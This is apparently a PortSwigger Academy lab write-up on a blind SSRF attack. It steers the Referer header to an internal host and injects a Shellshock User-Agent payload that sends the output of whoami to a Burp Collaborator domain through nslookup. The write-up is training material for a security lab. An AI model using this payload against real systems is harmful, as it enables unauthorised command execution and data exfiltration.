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# Blind SSRF Exploited via Shellshock
Blind SSRF Exploited via Shellshock notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Blind SSRF with Shellshock Exploitation
This site uses an analysis module that recovers the URL provided in the header **Referer** each time a product page is viewed. / To resolve the lab, you must divert this functionality to perform a blind **SSRF** to an internal server located in the range **192.168.0.X** on the port **8080**. / During blind attack, a payload **Shellshock** must be injected to exfil the user name of the system.
#### Initial Observation
When visiting a product page, the site does send a request based on the header **Referer**:
```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```
This confirms that the application automatically contacts the URL provided in this header.
#### Exploitation via Blind SSRF
The aim is to force the application to contact an internal host:
```
Referer: http://192.168.X:8080
```
Since the internal service is vulnerable to **Shellshock**, a payload is injected into the **User-Agent** header, which will be interpreted by the target server.
The payload executes a command to exfil the `whoami` result via a DNS request sent to **Burp Collaborator**:
```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```
#### Result
A DNS query appears on the Collaborator side, containing the system user name. / In this case, the returned user is:
---
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